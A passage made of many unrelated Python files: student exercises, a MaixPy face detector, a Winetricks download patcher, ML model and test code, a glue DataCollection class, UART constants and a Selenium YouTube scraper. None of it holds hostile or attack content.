""  CS124 - Programming Assignment 3                   ""
""													   ""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""

import random

def reverse_insort(a, x, lo = 0, hi = None):
	"""
	Implementation of bisect_left for a list in descending
	order, courtesy of http://tinyurl.com/b8epotx
	"""
	if lo < 0:
		raise ValueError('lo must be non-negative')
	if hi is None:
		hi = len(a)
	while lo < hi:
		mid = (lo + hi) // 2
		if x > a[mid]: hi = mid
		else: lo = mid + 1
	a.insert(lo, x)

def readInput(filename):
	file = open(filename, "r")
	list = [int(e.strip('\n')) for e in file.readlines()]
	list.sort(reverse=True)
	return list

def generate_nums(k):
	random.seed()
	file = open("input.txt", "w")
	for i in range(k):
		file.write(str(random.randint(1, 10 ** 12)) + "\n")


# 功能：人脸识别（效果一般般）

import sensor
import lcd
import time
import image

sensor.reset()
sensor.set_pixformat(sensor.RGB565)
if sensor.get_id() == sensor.OV7725:
    sensor.set_hmirror(True)
    sensor.set_vflip(True)

sensor.set_framesize(sensor.QQVGA)
lcd.init(type=2)  # 0.96 lcd (160x80)

sensor.set_auto_whitebal(True)
sensor.set_auto_gain(True)
sensor.set_contrast(3)
sensor.set_gainceiling(8)

sensor.skip_frames(time=2000)  # 等待稳定

face_cascade = image.HaarCascade("frontalface", stages=25)
eyes_cascade = image.HaarCascade("eye", stages=24)

clock = time.clock()
while (True):
    clock.tick()
    img = sensor.snapshot()

    for face in img.find_features(face_cascade, threshold=0.75, scale_factor=1.25):
        img.draw_rectangle(face, thickness=2)
        for eye in img.find_features(eyes_cascade, threshold=0.75, scale_factor=1.25, roi=face):
            img.draw_rectangle(eye)

    lcd.display(img, x_size=160)
    print(clock.fps())


#!/usr/bin/env python3
from pathlib import Path
import sys

DOTNET_PATCHES = [

	# .NET Framework 4.7.2
	{
		'OldURL': 'https://download.microsoft.com/download/6/E/4/6E48E8AB-DC00-419E-9704-06DD46E5F81D/NDP472-KB4054530-x86-x64-AllOS-ENU.exe',
		'OldHash': 'c908f0a5bea4be282e35acba307d0061b71b8b66ca9894943d3cbb53cad019bc',
		'OldFile': 'NDP472-KB4054530-x86-x64-AllOS-ENU.exe',

		'NewURL': 'https://download.visualstudio.microsoft.com/download/pr/1f5af042-d0e4-4002-9c59-9ba66bcf15f6/089f837de42708daacaae7c04b7494db/ndp472-kb4054530-x86-x64-allos-enu.exe',
		'NewHash': '5cb624b97f9fd6d3895644c52231c9471cd88aacb57d6e198d3024a1839139f6',
		'NewFile': 'ndp472-kb4054530-x86-x64-allos-enu.exe'
	}
]

# Read the existing contents of the Winetricks script
winetricks = Path(sys.argv[1])
code = winetricks.read_bytes().decode('utf-8')

# Patch the download URL, installer checksum, and installer filename for each version of the .NET Framework
for version in DOTNET_PATCHES:
	code = code.replace(version['OldURL'], version['NewURL'])
	code = code.replace(version['OldHash'], version['NewHash'])
	code = code.replace(version['OldFile'], version['NewFile'])

# Write the changes back to disk
winetricks.write_bytes(code.encode('utf-8'))


from itertools import cycle

# check wether all items are same
def all_same(l):
    #list.count(x) returns number of occurence of 'x' in the list
    if l.count(l[0]) == len(l) and l[0] != 0:
        return True
    return False

def win(current_game, player):
    # horizontal win
    for row in current_game:
        if all_same(row):
            print(f'player \'{player}\' is the winner!!....Horizontally(--)')
            return True

    # vertical win
    for i in range(len(current_game)):
        check = []
        for row in current_game:
            check.append(row[i])
        if all_same(check):
            print(f'player \'{player}\' is the winner!!....Vertically(|)')
            return True

    # diagonal win 1
    diags = []
    for idx in range(len(current_game)):
        diags.append(current_game[idx][idx])
    if all_same(diags):
        print(f'player \'{player}\' is the winner!!.....Diagonally(\)')
        return True

    # diagonal win 2
    diags = []
    for row, col in enumerate(reversed(range(len(current_game)))):
        diags.append(current_game[row][col])
    if all_same(diags):
        print(f'player \'{player}\' is the winner!!......Diagonally(/)')
        return True
    return False

def game_board(game_map, player=0, row=0, col=0, just_display=False):
    try:
        print("   "+"  ".join([str(x) for x in range(len(game_map))]))
        if not just_display:
                game_map[row][col] = player

        for count, row in enumerate(game_map):
                print(count, row)
        return game_map

    except IndexError as e:
        print("Make sure to enter 0, 1, or 2...!", e)

    except Exception as e:
        print("Something went wrong....!", e)

def check_game_status(game_map):
    for row in game_map:
        for x in row:
            if x == 0:
                return False
    return True

play = True
player = cycle([1,2])
while play:
    game_size = int(input("Please enter the game size '>=3': "))
    if game_size >= 3:
        game = [[0 for x in range(game_size)] for y in range(game_size)]
        game_won = False
        game = game_board(game, just_display=True)
        while not game_won:
            current_player = next(player)
            print(f'current player: {current_player}')
            played = False
            while not played:
                try:
                    row = int(input(f'choose the row{[x for x in range(len(game))]}: '))
                    col = int(input(f'choose the coloumn{[x for x in range(len(game))]}: '))
                    if row < len(game) and col < len(game):
                        if game[row][col] == 0:
                            game = game_board(game, current_player, row, col)
                            played = True
                            game_won = win(game, current_player)
                        else:
                            print(f'{[row, col]} this position has been played!..Please play another position..')
                    else:
                        print(f'please select only between {[x for x in range(len(game))]}')
                except:
                    print("please enter numbers only...")
            # check all the position played and yet winner is not decided
            if check_game_status(game):
                game_won = True
                print("Game has ended and it is a 'DRAW'.......")

        choose = input("Game has ended!!! Do you want play again(y/n): ")
        if choose.lower() != 'y':
            print("You played a good game!!! See you again...")
            play = False


import cStringIO
import os
import sys
import unittest2 as unittest

import barbicanclient.barbican

def suite():
    suite = unittest.TestSuite()

    suite.addTest(TestBarbican())

    return suite

class TestBarbican(unittest.TestCase):
    def barbican(self, argstr):
        """Source: Keystone client's shell method in test_shell.py"""
        orig = sys.stdout
        clean_env = {}
        _old_env, os.environ = os.environ, clean_env.copy()
        try:
            sys.stdout = cStringIO.StringIO()
            _barbican = barbicanclient.barbican.Barbican()
            _barbican.execute(argv=argstr.split())
        except SystemExit:
            exc_type, exc_value, exc_traceback = sys.exc_info()
            self.assertEqual(exc_value.code, 0)
        finally:
            out = sys.stdout.getvalue()
            sys.stdout.close()
            sys.stdout = orig
            os.environ = _old_env
        return out

    def setUp(self):
        pass

    def test_help(self):
        args = "-h"
        self.assertIn('usage: ', self.barbican(args))

if __name__ == '__main__':
    unittest.main()


# Considérons que vous avez à votre disposition un fichier texte contenant des phrases de différentes longueurs. Écrivez un script qui recherche et affiche la phrase la plus longue.

filename = "Monfichier.txt"
file = open(filename, 'r')

endfile = 0
lgmax = 0
lignelapluslongue = ""
while not endfile:
    ligne = file.readline()
    if ligne == "":
        endfile = 1
    else:
        if len(ligne) > lgmax:
            lignelapluslongue = ligne
            lgmax = len(ligne)

print("La ligne la plus longue est : ", lignelapluslongue)


from research.carls import context
from research.carls import dynamic_memory_ops as dm_ops
from research.carls import dynamic_normalization as dn
from research.carls.testing import test_util
import numpy as np
import tensorflow as tf

class DynamicNormalizationTest(tf.test.TestCase):

  def setUp(self):
    super(DynamicNormalizationTest, self).setUp()
    self._service_server = test_util.start_kbs_server()
    self._kbs_address = 'localhost:%d' % self._service_server.port()
    context.clear_all_collection()

  def tearDown(self):
    self._service_server.Terminate()
    super(DynamicNormalizationTest, self).tearDown()

  def testDynamicndBatchNormalizationConsistency(self):
    """Checks that BatchNormalization falls into a special case of DN."""
    batch_size = 2
    dm_config = test_util.default_dm_config(
        per_cluster_buffer_size=batch_size,
        distance_to_cluster_threshold=0.5,
        max_num_clusters=1,
        bootstrap_steps=0)
    inputs = np.array([[1, 2], [3, 4]])
    hidden_layer = tf.keras.layers.Dense(
        5, activation='relu', kernel_initializer='ones')(
            inputs)

    batch_norm = tf.keras.layers.BatchNormalization(
        axis=1, center=True, scale=True, momentum=0)(
            hidden_layer, training=True)
    dynamic_norm = dn.DynamicNormalization(
        dm_config,
        mode=dm_ops.LOOKUP_WITH_UPDATE,
        axis=1,
        epsilon=0.001,
        use_batch_normalization=True,
        service_address=self._kbs_address)(
            hidden_layer, training=True)

    self.assertAllClose(batch_norm.numpy(), dynamic_norm.numpy())

  def testKerasModel(self):
    """Tests the tf.keras interface."""
    dm_config = test_util.default_dm_config(
        per_cluster_buffer_size=1,
        distance_to_cluster_threshold=0.5,
        max_num_clusters=1,
        bootstrap_steps=0)
    model = tf.keras.Sequential([
        tf.keras.Input(shape=(2,), name='inputs'),
        tf.keras.layers.Dense(4),
        dn.DynamicNormalization(
            dm_config,
            mode=dm_ops.LOOKUP_WITH_UPDATE,
            axis=1,
            epsilon=0.1,
            use_batch_normalization=True,
            service_address=self._kbs_address),
        tf.keras.layers.Dense(1)
    ])
    model.compile(optimizer='sgd', loss='mse')

    x_train = np.array([[1, 0], [0, 1], [1, 1], [0, 0]])
    y_train = np.array([1, 1, 0, 0])
    model.fit(x_train, y_train, epochs=10)

  def testTrainingLogistic(self):
    """Trains two logistic regression models with two normalizations."""
    dm_config = test_util.default_dm_config(
        per_cluster_buffer_size=500,
        distance_to_cluster_threshold=0.9,
        max_num_clusters=1,
        bootstrap_steps=10)
    x = np.array([[1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 1, 0], [0, 0, 0, 1],
                  [1, 0, 1, 0], [0, 1, 0, 1]])
    y = np.array([[1], [1], [1], [1], [0], [0]])  # 0/1 label
    mode = tf.constant(dm_ops.LOOKUP_WITH_UPDATE, dtype=tf.int32)

    def _create_model(enable_dynamic_normalization: bool):
      hidden_layer = tf.keras.layers.Dense(5, activation='relu')
      if enable_dynamic_normalization:
        normalized_layer = dn.DynamicNormalization(
            dm_config,
            mode=mode,
            axis=1,
            epsilon=0.001,
            use_batch_normalization=False,
            service_address=self._kbs_address)
      else:
        normalized_layer = tf.keras.layers.BatchNormalization(
            axis=1, center=True, scale=True, momentum=0)
      output_layer = tf.keras.layers.Dense(1, kernel_initializer='ones')
      model = tf.keras.Sequential(
          [hidden_layer, normalized_layer, output_layer])
      return model

    def _loss(model, x, y):
      output = model(x)
      pred = 1 / (1 + tf.exp(-output))
      loss = y * tf.math.log(pred) + (1 - y) * tf.math.log(1 - pred)
      loss = tf.reduce_mean(-tf.math.reduce_sum(loss, axis=1))
      return loss

    def _grad(model, x, y):
      with tf.GradientTape() as tape:
        loss_value = _loss(model, x, y)
      return loss_value, tape.gradient(loss_value, model.trainable_variables)

    bn_model = _create_model(False)  # Model with batch normalization.
    dn_model = _create_model(True)  # Model with dynamic normalization.
    optimizer_bn = tf.keras.optimizers.SGD(learning_rate=0.01)
    optimizer_dn = tf.keras.optimizers.SGD(learning_rate=0.01)
    for i in range(100):
      bn_loss_value, bn_grads = _grad(bn_model, x, y)
      dn_loss_value, dn_grads = _grad(dn_model, x, y)

      print('Step: {}, BN loss: {}, DN loss: {}'.format(i,
                                                        bn_loss_value.numpy(),
                                                        dn_loss_value.numpy()))
      # Update the trainable variables w.r.t. the logistic loss
      optimizer_bn.apply_gradients(zip(bn_grads, bn_model.trainable_variables))
      optimizer_dn.apply_gradients(zip(dn_grads, dn_model.trainable_variables))

    # Checks that DynamicNormalization consistently outperforms
    # BatchNormalization in terms of finding lower loss.
    self.assertGreater(bn_loss_value.numpy(), dn_loss_value.numpy())

if __name__ == '__main__':
  tf.test.main()


import sys

def gugu(argv):
    i = 0
    result = 0
    print("%s단입니다\n" % argv)
    for i in range(1,9):
        result = argv*i
        print("%d * %d = %d\n" % (argv,i,result))

argv = int(sys.argv[1])
gugu(argv)


def sum(m , n):
    if m>n:
        return 0
    else:
        return 1+sum(2*m,n)+sum(2*m+1,n)

while True:
    inner = [int(i)for i in input().split()]
    m, n = inner[0], inner[1]
    if m==n==0:
        break
    print(sum(m, n))


import torch.nn as nn
import torch
import torch.nn.functional as F
from KGEModel.KGEModel import KGEModel

class TransH(KGEModel):
    def __init__(self, args):
        super(TransH, self).__init__(args)
        self.args = args
        self.entity_embedding = None
        self.relation_embedding = None
        self.norm_flag = args.norm_flag
        self.init_emb()

    def init_emb(self):
        self.epsilon = 2.0
        self.margin = nn.Parameter(torch.Tensor([self.args.margin]), requires_grad=False)
        self.embedding_range = nn.Parameter(torch.Tensor([(self.margin.item() + self.epsilon) / self.args.emb_dim]),
                                            requires_grad=False,)

        self.entity_embedding = nn.Embedding(self.args.nentity, self.args.emb_dim)
        self.relation_embedding = nn.Embedding(self.args.nrelation, self.args.emb_dim)
        self.norm_vector = nn.Embedding(self.args.nrelation, self.args.emb_dim)
        nn.init.uniform_(tensor=self.entity_embedding.weight.data, a=-self.embedding_range.item(), b=self.embedding_range.item())
        nn.init.uniform_(tensor=self.relation_embedding.weight.data, a=-self.embedding_range.item(), b=self.embedding_range.item())
        nn.init.uniform_(tensor=self.norm_vector.weight.data, a=-self.embedding_range.item(), b=self.embedding_range.item())

    def score_func(self, head_emb, relation_emb, tail_emb, mode):
        if self.norm_flag:
            head_emb = F.normalize(head_emb, 2, -1)
            relation_emb = F.normalize(relation_emb, 2, -1)
            tail_emb = F.normalize(tail_emb, 2, -1)
        if mode == "head-batch":
            score = head_emb + (relation_emb - tail_emb)
        else:
            score = (head_emb + relation_emb) - tail_emb
        score = self.margin.item() - torch.norm(score, p=1, dim=-1)
        return score

    def forward(self, triples, mode="single"):
        if mode == "single":
            head_emb = self.entity_embedding(triples[:, 0]).unsqueeze(1)  # [bs, 1, dim]
            relation_emb = self.relation_embedding(triples[:, 1]).unsqueeze(1)  # [bs, 1, dim]
            tail_emb = self.entity_embedding(triples[:, 2]).unsqueeze(1)  # [bs, 1, dim]
            norm_vector = self.norm_vector(triples[:, 1]).unsqueeze(dim=1)  # shape:[bs, 1, dim]

        elif mode == "head-batch":
            tail_part, head_part = triples
            batch_size, negative_sample_size = head_part.size(0), head_part.size(1)

            head_emb = torch.index_select(self.entity_embedding.weight.data, dim=0, index=head_part.view(-1)).view(
                batch_size, negative_sample_size, -1)  # [bs, num_neg, dim]
            relation_emb = self.relation_embedding(tail_part[:, 1]).unsqueeze(1)  # [bs, 1, dim]
            tail_emb = self.entity_embedding(tail_part[:, 2]).unsqueeze(1)  # [bs, 1, dim]
            norm_vector = self.norm_vector(tail_part[:, 1]).unsqueeze(dim=1)  # shape:[bs, 1, dim]

        elif mode == "tail-batch":
            head_part, tail_part = triples  # head是positive samples，tail是negative tail_id
            batch_size, negative_sample_size = tail_part.size(0), tail_part.size(1)

            head_emb = self.entity_embedding(head_part[:, 0]).unsqueeze(1)  # [bs, 1, dim]
            relation_emb = self.relation_embedding(head_part[:, 1]).unsqueeze(1)  # [bs, 1, dim]
            tail_emb = torch.index_select(self.entity_embedding.weight.data, dim=0, index=tail_part.view(-1)).view(
                batch_size, negative_sample_size, -1)  # [bs, num_neg, dim]
            norm_vector = self.norm_vector(head_part[:, 1]).unsqueeze(dim=1)  # shape:[bs, 1, dim]

        head_emb = self._transfer(head_emb, norm_vector)
        tail_emb = self._transfer(tail_emb, norm_vector)
        score = self.score_func(head_emb, relation_emb, tail_emb, mode)

        return score

    def _transfer(self, emb, norm_vector):
        if self.norm_flag:
            norm_vector = F.normalize(norm_vector, p=2, dim=-1)
        return emb - torch.sum(emb * norm_vector, -1, True) * norm_vector

    def loss(self, pos_score, neg_score, subsampling_weight=None):
        neg_score = F.logsigmoid(-neg_score)  # shape:[bs]
        pos_score = F.logsigmoid(pos_score)  # shape:[bs, 1]
        if self.args.uni_weight:
            positive_sample_loss = - pos_score.mean()
            negative_sample_loss = - neg_score.mean()
        else:
            positive_sample_loss = - (subsampling_weight * pos_score).sum() / subsampling_weight.sum()
            negative_sample_loss = - (subsampling_weight * neg_score).sum() / subsampling_weight.sum()

        loss = (positive_sample_loss + negative_sample_loss) / 2
        return loss


"""Constants for xbee_humidifier tests."""
from custom_components.xbee_humidifier import (
    CONF_AWAY_HUMIDITY,
    CONF_DEVICE_IEEE,
    CONF_MAX_HUMIDITY,
    CONF_MIN_HUMIDITY,
    CONF_SENSOR,
    CONF_TARGET_HUMIDITY,
)

IEEE = "00:11:22:33:44:55:66:77"

# Mock config data to be used across multiple tests
MOCK_CONFIG = {
    CONF_DEVICE_IEEE: IEEE,
}

MOCK_OPTIONS = {
    "humidifier_0": {
        CONF_TARGET_HUMIDITY: 42,
        CONF_AWAY_HUMIDITY: 32,
        CONF_MIN_HUMIDITY: 15,
        CONF_MAX_HUMIDITY: 80,
    },
    "humidifier_1": {
        CONF_SENSOR: "sensor.test2",
        CONF_TARGET_HUMIDITY: 42,
        CONF_AWAY_HUMIDITY: 32,
        CONF_MIN_HUMIDITY: 15,
        CONF_MAX_HUMIDITY: 80,
    },
    "humidifier_2": {
        CONF_SENSOR: "sensor.test3",
        CONF_TARGET_HUMIDITY: 42,
        CONF_MIN_HUMIDITY: 15,
        CONF_MAX_HUMIDITY: 80,
    },
}


# Author:           Luke Mei
# Student Number :  A01075487
# Created time :    2021/1/19 10:21
# File Name:        user.py

from user_types import UserTypes
from budget import Budgets
from exception import check_type, check_string_is_empty, check_all_input_type, check_all_input_value
from user_transaction import UserTransaction
from random import randint

class User(UserTransaction):
    """
    A bank account class for registering user.

    - name: child's name as a string
    - age: child's age as an int, could be 0.
    - user_type: user account type as UserTypes
    - budgets: child's budgets
    - bank_balance: account balance as a float, default value is 0
    - bank_name: bank name as a string, default value is ITCB
    """

    _BANK_NAME = "ITCB"
    """
    Default Bank Name is ITCB (Reverse of BCIT).
    """

    _DEFAULT_NAME = "Luke"
    """
    Default User Bank is Luke.
    """

    _DEFAULT_AGE = 10
    """
    Default Age is 10.
    """

    _DEFAULT_USER_TYPE = UserTypes.ANGEL
    """
    Default User Type is Angel Type.
    """

    _DEFAULT_BUDGET = Budgets()
    """
    Default Budgets.
    """

    _INITIAL_BALANCE = 0
    """
    Default account Balance is 0.
    """

    def __init__(self, name: str = _BANK_NAME, age: int = _DEFAULT_AGE, user_type: UserTypes = _DEFAULT_USER_TYPE,
                 budgets: Budgets = _DEFAULT_BUDGET, bank_balance: float = _INITIAL_BALANCE,
                 bank_name: str = _BANK_NAME) -> None:
        """
        User account includes Child's financial details.

        :param name: child's name as a string
        :param age: child's age as an int, could be 0.
        :param user_type: user account type
        :param budgets: child's budgets
        :param bank_balance: account balance as a float, default value is 0
        :param bank_name: bank name as a string, default value is ITCB
        :raise TypeError: if the input variables are invalid types.
        :raise ValueError: if the input are invalid values.
        """
        super().__init__(budgets, user_type, bank_balance)
        self.__check_input_type_and_value(name, age, user_type, budgets, bank_balance, bank_name)
        self._name = name
        self._age = age
        if len(bank_name.strip()) == 0:
            bank_name = self._BANK_NAME
        self._bank_name = bank_name

    def __check_input_type_and_value(self, name: str, age: int, user_type: UserTypes, budgets: Budgets,
                                     bank_balance: float, bank_name: str) -> None:
        """
        Checks the inputs type and value before constructing the class.

        :param name: child's name as a string
        :param age: child's age as an int, could be 0.
        :param user_type: user account type
        :param budgets: child's budgets
        :param bank_balance: account balance as a float, default value is 0
        :param bank_name: bank name as a string, default value is ITCB
        :raise TypeError: if the input variables are invalid types.
        :raise ValueError: if the age or bank balance is negative.
        """
        check_all_input_type([name, bank_name], str)
        check_all_input_type([age, bank_balance], int, float)
        check_type(user_type, UserTypes)
        check_type(budgets, Budgets)
        check_string_is_empty(name)
        check_all_input_value([age, bank_balance], self._INITIAL_BALANCE)

    @property
    def name(self) -> str:
        """
        Gets User name.

        :return: user name as a string
        """
        return self._name.title()

    @property
    def age(self) -> int:
        """
        Gets User age.

        :return: user age as an int
        """
        return self._age

    @property
    def bank_name(self) -> str:
        """
        Gets bank name.

        :return: bank name as a string
        """
        return self._bank_name

    def __str__(self) -> str:
        """
        Returns A formatted string that represents the current user.

        :return: A formatted string that represents the current user.
        """
        return "Name: %s\n" \
               "Age: %d\n" \
               "User Type: %s\n" \
               "Budgets: {%s}\n" \
               "Bank Balance: %s\n" \
               "Bank Name: %s" % (self._name, self._age, self._user_type,
                                  self.budgets.__str__(), self._bank_balance, self._bank_name)

    def __repr__(self) -> str:
        """
        Returns a string that represents the status of current user.

        :return: A long string with a bracket that shows the status of user
        """
        return "{%s, %d, %s, %s, %f, %s}" % (self._name, self._age, self._user_type,
                                             self.budgets.__repr__(), self._bank_balance, self._bank_name)

def load_test_user() -> list[User]:
    return [User("Luke", 20, UserTypes.ANGEL, Budgets(randint(100, 500), randint(100, 500), randint(100, 500),
                                                      randint(100, 500)), randint(1000, 2000)),
            User("Mike", 13, UserTypes.REBEL, Budgets(randint(100, 500), randint(100, 500), randint(100, 500),
                                                      randint(100, 500)), randint(1000, 2000)),
            User("Tommy", 15, UserTypes.TROUBLEMAKER, Budgets(randint(100, 500), randint(100, 500), randint(100, 500),
                                                              randint(100, 500)), randint(1000, 2000)),
            ]

if __name__ == '__main__':
    for user in load_test_user():
        print(user)
        print()


mod = 1000000007
for _ in range(int(input())):
    n,k=[int(i) for i in input().split()]
    if(k==1):
        print("1")
        continue
    if(n==1):
        print("2")
        continue
    ans = 2
    for i in range(1,n+1):
        for j in range(1,k+1):
            ans = (ans+j*(k-j)//2)%mod
    print(ans)


# Conexão Serial UART
PORT_UART = "/dev/serial0"
BAUDRATE = 9600

# matricula = [8, 3, 6, 7]

# Comandos via UART
codigos_gerais = {
    "temp_int": [0x01, 0x23, 0xC1, 8, 3, 6, 7], # Solicita Temperatura Interna
    "temp_ref": [0x01, 0x23, 0xC2, 8, 3, 6, 7], # Solicita Temperatura de Referência
    "com_user": [0x01, 0x23, 0xC3, 8, 3, 6, 7], # Lê comandos do usuário
    "sg_cntrl": [0x01, 0x16, 0xD1, 8, 3, 6, 7], # Envia sinal de controle Int (4 bytes)
    "sg_refer": [0x01, 0x16, 0xD2, 8, 3, 6, 7], # Envia sinal de Referência Float (4 bytes)
    "sist_onn": [0x01, 0x16, 0xD3, 8, 3, 6, 7, 1], # Envia Estado do Sistema (Ligado = 1) - (4 bytes)
    "sist_off": [0x01, 0x16, 0xD3, 8, 3, 6, 7, 0], # Envia Estado do Sistema (Desligado = 0) - (4 bytes)
    "cntrl_ds": [0x01, 0x16, 0xD4, 8, 3, 6, 7, 0], # Modo de Controle da Temperatura de referência (Dashboard = 0) (4 bytes)
    "cntrl_tm": [0x01, 0x16, 0xD4, 8, 3, 6, 7, 1], # Modo de Controle da Temperatura de referência (Automático = 1) (4 bytes)
    "func_onn": [0x01, 0x16, 0xD5, 8, 3, 6, 7, 1], # Envia Estado de Funcionamento (Funcionando = 1) (4 bytes)
    "func_off": [0x01, 0x16, 0xD5, 8, 3, 6, 7, 0], # Envia Estado de Funcionamento (Parado = 0)) (4 bytes)
    "temp_amb": [0x01, 0x16, 0xD6, 8, 3, 6, 7], # Envia Temperatura Ambiente (Float)) (4 bytes)
    "cont_tim": [0x01, 0x16, 0xD7, 8, 3, 6, 7], # Envia Contador de Tempo (usado no modo de pré-programação) (4 bytes)
    "str_lcdd": [0x01, 0x16, 0xD8, 8, 3, 6, 7], # Envia String do Display LCD para o Dashboard (1 byte: tamanho da string + N bytes da String)
}

comandos_usuario = {
    0x01: "liga_air", # Liga a AirFryer
    0x02: "desliga_", # Desliga a AirFryer
    0x03: "init_aqc", # Inicia aquecimento
    0x04: "cancela_", # Cancela processo
    0x05: "tempo_m+", # Tempo + : adiciona 1 minuto ao timer
    0x06: "tempo_m-", # Tempo - : adiciona 1 minuto ao timer
    0x07: "menu_ali", # Menu : aciona o modo de alimentos pré-programados
}

# Receber mensagens de retorno
mensagens_retorno = {
    0xC1: "temp_int", # Retorno Temperatura Interna
    0xC2: "temp_ref", # Retorno Temperatura Referência
    0xC3: "com_user", # Retorno Comandos Usuário
}

FSE_Embedded/Trabalho 2 - Controle de AirFryer/src/uart/utils/config.py


from .hub import Hub, HubListener
from .data import Data
from .link_manager import LinkManager
from .registry import Registry
from .message import (DataCollectionAddMessage,
                      DataCollectionDeleteMessage,
                      DataAddComponentMessage)

__all__ = ['DataCollection']

class DataCollection(HubListener):
    """DataCollections manage sets of data. They have the following
    responsibilities:

       * Providing a way to retrieve and store data
       * Broadcasting messages when data are added or removed
       * Keeping each managed data set's list of DerivedComponents up-to-date
    """

    def __init__(self, data=None):
        """
        :param data: glue.Data object, or list of such objects (optional)
                      These objects will be auto-appended to the collection
        """
        super(DataCollection, self).__init__()
        self.hub = None
        self._link_manager = LinkManager()

        self._data = []
        if isinstance(data, Data):
            self.append(data)
        elif isinstance(data, list):
            for d in data:
                self.append(d)

    @property
    def data(self):
        """ The data objects in the collection (Read Only) """
        return self._data

    def append(self, data):
        """ Add a new dataset to this collection.

        Appending emits a DataCollectionAddMessage.
        It also updates the list of DerivedComponents that each
        data set can work with.

        :param data: :class:`~glue.core.data.Data` object to add
        """
        if isinstance(data, list):
            self.extend(data)
            return

        if data in self:
            return
        self._data.append(data)
        if self.hub:
            data.hub = self.hub
            for s in data.subsets:
                s.register()
            msg = DataCollectionAddMessage(self, data)
            self.hub.broadcast(msg)
        self._sync_link_manager()

    def extend(self, data):
        """Add several new datasets to this collection

        See :meth:`~DataCollection.append` for more information

        :param data: List of data objects to add
        """
        [self.append(d) for d in data]

    def remove(self, data):
        """ Remove a data set from the collection

        Emits a DataCollectionDeleteMessage

        :param data: the object to remove
        :type data: :class:`~glue.core.data.Data`
        """
        if data not in self._data:
            return
        self._data.remove(data)
        Registry().unregister(data, Data)
        if self.hub:
            msg = DataCollectionDeleteMessage(self, data)
            self.hub.broadcast(msg)

    def _sync_link_manager(self):
        """ update the LinkManager, so all the DerivedComponents
        for each data set are up-to-date
        """

        # add any links in the data
        for d in self._data:
            for derived in d.derived_components:
                self._link_manager.add_link(d.get_component(derived).link)
            for link in d.coordinate_links:
                self._link_manager.add_link(link)

        for d in self._data:
            self._link_manager.update_data_components(d)

    @property
    def links(self):
        return tuple(self._link_manager.links)

    def add_link(self, links):
        """Add one or more links to the data collection.
        This will auto-update the components in each data set

        :param links: The links to add
        :type links: A scalar or list of
                     :class:`~glue.core.component_link.ComponentLink`
                     instances,
                     or a :class:`~glue.core.link_helpers.LinkCollection`
        """
        self._link_manager.add_link(links)
        for d in self._data:
            self._link_manager.update_data_components(d)

    def _merge_link(self, link):
        pass

    def set_links(self, links):
        """Override the links in the collection, and update data
        objects as necessary

        :param links: The new links
        :type links: An iterable of
                     :class:`~glue.core.component_link.ComponentLInk`
                     instances
        """
        self._link_manager.clear()
        for link in links:
            self._link_manager.add_link(link)

        for d in self._data:
            self._link_manager.update_data_components(d)

    def register_to_hub(self, hub):
        """ Register managed data objects to a hub
        :param hub: The hub to register with
        :type hub: :class:`~glue.core.hub.Hub`
        """
        if not isinstance(hub, Hub):
            raise TypeError("Input is not a Hub object: %s" % type(hub))
        self.hub = hub

        #re-assign all data, subset hub instances to this hub
        for d in self._data:
            d.register_to_hub(hub)
            for s in d.subsets:
                s.register()

        hub.subscribe(self, DataAddComponentMessage,
                      lambda msg: self._sync_link_manager(),
                      filter=lambda x: x.sender in self._data)

    def __contains__(self, obj):
        return obj in self._data

    def __getitem__(self, key):
        return self._data[key]

    def __iter__(self):
        return iter(self._data)

    def __len__(self):
        return len(self._data)

    def __str__(self):
        result = "DataCollection (%i data sets)\n\t" % len(self)
        result += '\n\t'.join("%3i: %s" % (i, d.label) for
                              i, d in enumerate(self))
        return result

    def __repr__(self):
        return self.__str__()


class ProjectorScreen:
    warrantyPeriodInMonths = 12

    def __init__(self, heightInCentimetrs=180, widthInCentimetrs=300, mountType="floor-rising", producer="Sopar",
                 weightInKilograms=15, screenMaterial="Snow White", viewingAngleInDegrees=160,
                 countryManufacturer="China", resolution="4K"):
        self.heightInCentimetrs = heightInCentimetrs
        self.widthInCentimetrs = widthInCentimetrs
        self.mountType = mountType
        self.producer = producer
        self.weightInKilograms = weightInKilograms
        self.screenMaterial = screenMaterial
        self.viewingAngleInDegrees = viewingAngleInDegrees
        self.countryManufacturer = countryManufacturer
        self.resolution = resolution

    def __del__(self):
        print("Object deleted")

    def __str__(self):
        return "ProjectorScreen [heightInCentimetrs = " + str(self.heightInCentimetrs) + ", widthInCentimetrs = " \
               + str(self.widthInCentimetrs) + ", mountType = " + self.mountType + ", producer = " + self.producer \
               + ", weightInKilograms = " + str(self.weightInKilograms) + ", screenMaterial = " + self.screenMaterial \
               + ", viewingAngleInDegrees = " + str(self.viewingAngleInDegrees) + ", countryManufacturer = "\
               + self.countryManufacturer + ", resolution = " + self.resolution + "]"

    @staticmethod
    def getWarrantyPeriodInMonths():
        return ProjectorScreen.warrantyPeriodInMonths

def main():
    cinemaScreen = ProjectorScreen(heightInCentimetrs=400, widthInCentimetrs=800, resolution="8K")
    print(cinemaScreen)
    officeScreen = ProjectorScreen(heightInCentimetrs=180, widthInCentimetrs=180, mountType="tripod stand",
                                   countryManufacturer="USA")
    print(officeScreen)
    homeScreen = ProjectorScreen(producer="Logan", screenMaterial="Matte White")
    print(homeScreen)

if __name__ == '__main__':
    main()


from selenium import webdriver
import pandas as pd
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from download import *

driver = webdriver.Chrome()

def scrape_channel(url):
	driver.get(url)

	user_data = driver.find_elements_by_xpath('//*[@id="video-title"]')
	links = []
	for i in user_data:
		print(i.get_attribute('href'))
		links.append(i.get_attribute('href'))

	df = pd.DataFrame(columns = ['link', 'title', 'description', 'category'])

	wait = WebDriverWait(driver, 10)
	v_category = "CATEGORY_NAME"
	for x in links:
		    driver.get(x)
		    v_id = x.strip('https://www.youtube.com/watch?v=')
		    v_title = wait.until(EC.presence_of_element_located((By.CSS_SELECTOR,"h1.title yt-formatted-string"))).text
		    v_description =  wait.until(EC.presence_of_element_located((By.CSS_SELECTOR,"div#description yt-formatted-string"))).text
		    df.loc[len(df)] = [x, v_title, v_description, v_category]

	return df

def update_channel(url, csv_file):
	df = pd.read_csv(csv_file)
	driver.get(url)

	user_data = driver.find_elements_by_xpath('//*[@id="video-title"]')
	links = []
	for i in user_data:
		links.append(i.get_attribute('href'))

	existing_links = df['link'].to_list()

	for link in links:
		if link not in existing_links:
			print(link)

def main():
